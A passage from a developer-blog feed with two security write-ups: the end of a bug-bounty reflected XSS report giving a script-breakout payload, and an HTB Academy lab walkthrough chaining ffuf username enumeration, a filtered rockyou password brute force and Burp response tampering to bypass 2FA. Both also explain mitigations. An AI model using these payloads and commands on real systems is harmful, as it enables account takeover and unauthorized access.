&lt;p&gt;🎯 The alert box popped up, displaying the target domain — full JavaScript execution confirmed in the context of the vulnerable site.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5cdsg85oi7ryb05nyc8c.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5cdsg85oi7ryb05nyc8c.webp" alt=" " width="800" height="241"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Works
&lt;/h2&gt;

&lt;p&gt;My input:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&amp;lt;svg&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;alert(document.domain)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;How it appears in the HTML:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class="nx"&gt;pushMCView&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;trackPageView&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,{&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;search&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;  ← script ends HERE
&lt;span class="nt"&gt;&amp;lt;svg&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;alert(document.domain)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;               ← this becomes HTML!
"}]);
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What the browser actually parses:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;start of a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; block&lt;/li&gt;
&lt;li&gt;some JS: &lt;code&gt;pushMCView(["trackPageView",{"search":"&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;closing tag &lt;code&gt;&amp;lt;/script&amp;gt;&lt;/code&gt; → browser thinks the script is done&lt;/li&gt;
&lt;li&gt;HTML content &lt;code&gt;&amp;lt;svg/onload=alert(document.domain)&amp;gt;&lt;/code&gt; → this executes&lt;/li&gt;
&lt;li&gt;leftover text &lt;code&gt;"}]);&lt;/code&gt; → browser ignores it&lt;/li&gt;
&lt;li&gt;another &lt;code&gt;&amp;lt;/script&amp;gt;&lt;/code&gt; → ignored, no matching open tag&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The browser's HTML parser is greedy: the instant it sees &lt;code&gt;&amp;lt;/script&amp;gt;&lt;/code&gt;, it closes the JavaScript context, regardless of what the app intended.&lt;/p&gt;

&lt;h2&gt;
  
  
  Impact
&lt;/h2&gt;

&lt;p&gt;This lets an attacker:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;execute arbitrary JavaScript in the victim's browser&lt;/li&gt;
&lt;li&gt;steal session cookies if they aren't &lt;code&gt;HttpOnly&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;perform actions on behalf of the logged-in user&lt;/li&gt;
&lt;li&gt;run phishing attacks from within a trusted domain&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Mitigation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;properly encode user input before embedding it in JavaScript&lt;/li&gt;
&lt;li&gt;use safe serialization (e.g. &lt;code&gt;JSON.stringify&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;never inject raw user input directly into script blocks&lt;/li&gt;
&lt;li&gt;add a Content Security Policy to limit exploitation impact&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Vulnerability Details
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Type:&lt;/strong&gt; Reflected XSS&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Parameter:&lt;/strong&gt; &lt;code&gt;q&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Endpoint:&lt;/strong&gt; &lt;code&gt;/search&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Method:&lt;/strong&gt; GET&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Payload:&lt;/strong&gt; &lt;code&gt;&amp;lt;/script&amp;gt;&amp;lt;svg/onload=alert(document.domain)&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This is exactly why I love bug bounties — you never know what a bit of poking around in a "boring" search bar will turn up. A simple input field turned into a full XSS.&lt;/p&gt;

&lt;p&gt;Key takeaways:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;always test input fields, even the boring ones&lt;/li&gt;
&lt;li&gt;use the right tools — Burp Suite is essential here&lt;/li&gt;
&lt;li&gt;understand the injection context before crafting a payload&lt;/li&gt;
&lt;li&gt;simple often beats complex&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Stay curious, stay persistent, happy hacking! 🔐&lt;/p&gt;

</description>
      <category>htb</category>
      <category>security</category>
      <category>ctf</category>
    </item>
    <item>
      <title>HTB Broken Authentication — Skill Assessment Writeup</title>
      <dc:creator>Hassan Elsayed</dc:creator>
      <pubDate>Sat, 25 Jul 2026 20:40:24 +0000</pubDate>
      <link>https://dev.to/hassanelsayed30/htb-broken-authentication-skill-assessment-writeup-38hi</link>
      <guid>https://dev.to/hassanelsayed30/htb-broken-authentication-skill-assessment-writeup-38hi</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;In this writeup I'll walk through solving the &lt;strong&gt;Broken Authentication&lt;/strong&gt; Skill Assessment from HackTheBox Academy. The challenge was about exploiting multiple authentication vulnerabilities to gain unauthorized access — with zero credentials provided.&lt;/p&gt;

&lt;p&gt;What made it interesting is that no single exploit got you the flag. You had to chain together user enumeration, targeted password brute forcing, and an authentication bypass.&lt;/p&gt;

&lt;h2&gt;
  
  
  Challenge Overview
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Target:&lt;/strong&gt; Web application with a login portal&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Given:&lt;/strong&gt; Nothing — no usernames, no passwords, no hints&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Goal:&lt;/strong&gt; Compromise the application and retrieve the flag&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Skills tested:&lt;/strong&gt; User enumeration, brute force, response manipulation&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Step 1: Testing for User Enumeration
&lt;/h2&gt;

&lt;p&gt;First I explored the login page to see how it behaves with invalid credentials.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo933fcwkkkz1unhoakbr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo933fcwkkkz1unhoakbr.png" alt=" " width="799" height="455"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I entered random creds:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;Username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;hahaha&lt;/span&gt;
&lt;span class="py"&gt;Password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;annaa&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Server response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Unknown username or password
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This specific message tells me the app checks the username first, then the password — a classic user enumeration bug.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why this matters:&lt;/strong&gt; if invalid username and valid-username-wrong-password return different messages, an attacker can build a list of valid usernames. That's the first piece of the puzzle.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: User Enumeration Attack
&lt;/h2&gt;

&lt;p&gt;With the vuln confirmed, I enumerated valid usernames with &lt;code&gt;ffuf&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; /opt/useful/seclists/Usernames/xato-net-10-million-usernames.txt &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-u&lt;/span&gt; http://TARGET_IP:PORT/login.php &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/x-www-form-urlencoded"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"username=FUZZ&amp;amp;password=invalid"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-fr&lt;/span&gt; &lt;span class="s2"&gt;"Unknown username or password"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Breaking it down:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;-w&lt;/code&gt; — wordlist of common usernames&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-u&lt;/code&gt; — target login endpoint&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-X POST&lt;/code&gt; — HTTP method&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-d&lt;/code&gt; — POST body, &lt;code&gt;FUZZ&lt;/code&gt; gets replaced by each wordlist entry&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-fr&lt;/code&gt; — filter OUT this response text (show only different responses)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;gxxxxs [Status: 200, Size: 4344, Words: 680, Lines: 91]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;✅ Valid user found: &lt;code&gt;gxxxxs&lt;/code&gt; — the response size is much larger than the "unknown user" response, confirming the username exists.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: Confirming the Username
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F387k45yik6dioxn2d0m1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F387k45yik6dioxn2d0m1.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I manually verified by logging in as &lt;code&gt;gxxxxs&lt;/code&gt; with a random password (&lt;code&gt;11111&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Invalid credentials.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A different message than before, confirming:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ &lt;code&gt;gxxxxs&lt;/code&gt; is a valid username&lt;/li&gt;
&lt;li&gt;❌ the password is wrong&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Time to crack the password.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: Password Brute Force — The Smart Way
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The problem:&lt;/strong&gt; &lt;code&gt;rockyou.txt&lt;/code&gt; has 14+ million entries. Brute-forcing all of it risks rate limiting or lockout, and takes forever.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The fix:&lt;/strong&gt; filter by the app's password policy. Most modern apps require min length, upper+lower case, and a digit. I filtered &lt;code&gt;rockyou.txt&lt;/code&gt; down to only candidates matching that policy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'[[:upper:]]'&lt;/span&gt; /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt | &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'[[:lower:]]'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'[[:digit:]]'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'.{10}'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; custom_wordlist.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;grep '[[:upper:]]'&lt;/code&gt; — must contain an uppercase letter&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;grep '[[:lower:]]'&lt;/code&gt; — must contain a lowercase letter&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;grep '[[:digit:]]'&lt;/code&gt; — must contain a digit&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;grep -E '.{10}'&lt;/code&gt; — at least 10 characters&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; 14,000,000 → ~150,000 candidates (99% reduction 🚀)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The attack:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; custom_wordlist.txt &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-u&lt;/span&gt; http://TARGET_IP:PORT/login.php &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/x-www-form-urlencoded"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"username=gxxxxs&amp;amp;password=FUZZ"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-fr&lt;/span&gt; &lt;span class="s2"&gt;"Invalid credentials"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;dWXXXXXXXX13 [Status: 302, Size: 0, Duration: 656ms]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;✅ Password cracked: &lt;code&gt;gxxxxs:dWXXXXXXXX13&lt;/code&gt; (redacted to avoid spoiling the box for others).&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 5: The 2FA Roadblock
&lt;/h2&gt;

&lt;p&gt;Logging in with the valid creds hit a wall: the app asked for a 2FA OTP.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3amfvvbhwhncacxsljqu.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3amfvvbhwhncacxsljqu.webp" alt=" " width="800" height="457"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Options considered:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Brute force the OTP — unknown length (4 vs 6 digits), not efficient&lt;/li&gt;
&lt;li&gt;Bypass the OTP check entirely — more realistic&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This pointed to a technique from the module: &lt;strong&gt;authentication bypass via direct access.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 6: Understanding the Vulnerability
&lt;/h2&gt;

&lt;p&gt;Poorly implemented auth flows often make this mistake in PHP:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Vulnerable&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'2fa_verified'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Location: /2fa.php"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// missing exit; !&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// this still executes&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;h1&amp;gt;Welcome to your profile!&amp;lt;/h1&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Flag: HTB&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;...&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server sends a 302 redirect to &lt;code&gt;/2fa.php&lt;/code&gt;, but the script keeps running and renders the protected page anyway. A normal browser just follows the redirect and never shows you that content — but we can intercept the raw response before that happens.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 7: Burp Suite Response Manipulation
&lt;/h2&gt;

&lt;p&gt;I set Burp to intercept the &lt;em&gt;response&lt;/em&gt;, not just the request:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fza0hwxyjhnxoiwqjsuq8.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fza0hwxyjhnxoiwqjsuq8.webp" alt=" " width="799" height="454"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Enable Burp Proxy&lt;/li&gt;
&lt;li&gt;In Proxy → HTTP History, find the request to &lt;code&gt;/profile.php&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Right-click → &lt;strong&gt;Do intercept → Response to this request&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Original response:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;302&lt;/span&gt; &lt;span class="ne"&gt;Found&lt;/span&gt;
&lt;span class="na"&gt;Location&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/2fa.php&lt;/span&gt;
&lt;span class="na"&gt;Content-Length&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;3986&lt;/span&gt;
&lt;span class="s"&gt;[protected page HTML content here]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Modified response:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="na"&gt;Location&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/profile.php&lt;/span&gt;
&lt;span class="na"&gt;Content-Length&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;3647&lt;/span&gt;
&lt;span class="s"&gt;[protected page HTML content here]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feoi45cw7t3rjdgb1w5h2.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feoi45cw7t3rjdgb1w5h2.webp" alt=" " width="800" height="455"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Changed the status line from &lt;code&gt;302 Found&lt;/code&gt; to &lt;code&gt;200 OK&lt;/code&gt; and the &lt;code&gt;Location&lt;/code&gt; header from &lt;code&gt;/2fa.php&lt;/code&gt; to &lt;code&gt;/profile.php&lt;/code&gt; — telling the browser "this is a successful response, render it."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; forwarding the modified response rendered the profile page directly:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F05u6f3cz63jk13gx7f5t.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F05u6f3cz63jk13gx7f5t.webp" alt=" " width="800" height="453"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Welcome gxxxxs!
HTB{d86XXXXXXXXXXXXXXXXXX}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🎯 Flag captured (partially redacted).&lt;/p&gt;

&lt;h2&gt;
  
  
  Complete Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="p"&gt;1.&lt;/span&gt; User enumeration → found username gxxxxs
&lt;span class="p"&gt;2.&lt;/span&gt; Password policy analysis → filtered rockyou.txt 14M → 150K
&lt;span class="p"&gt;3.&lt;/span&gt; Password brute force → found password
&lt;span class="p"&gt;4.&lt;/span&gt; Login → hit 2FA barrier
&lt;span class="p"&gt;5.&lt;/span&gt; Direct access test → found 302 redirect flaw
&lt;span class="p"&gt;6.&lt;/span&gt; Response manipulation → 302 → 200 in Burp
&lt;span class="p"&gt;7.&lt;/span&gt; Access granted → flag captured
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Vulnerability Analysis
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. User enumeration (CWE-204)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Vulnerable: different messages for invalid username vs. valid-username-wrong-password.&lt;br&gt;
Secure: always return the same generic &lt;code&gt;"Invalid username or password"&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Weak password requirements&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The app enforced a complexity policy but still accepted breached passwords like &lt;code&gt;Password123&lt;/code&gt;. Better: check against the HaveIBeenPwned API and reject known-breached passwords, plus require higher entropy.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Missing &lt;code&gt;exit;&lt;/code&gt; after redirect (CWE-698)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Vulnerable&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'2fa_verified'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Location: /2fa.php"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// script continues executing!&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;include&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'profile_content.php'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Secure&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'2fa_verified'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Location: /2fa.php"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
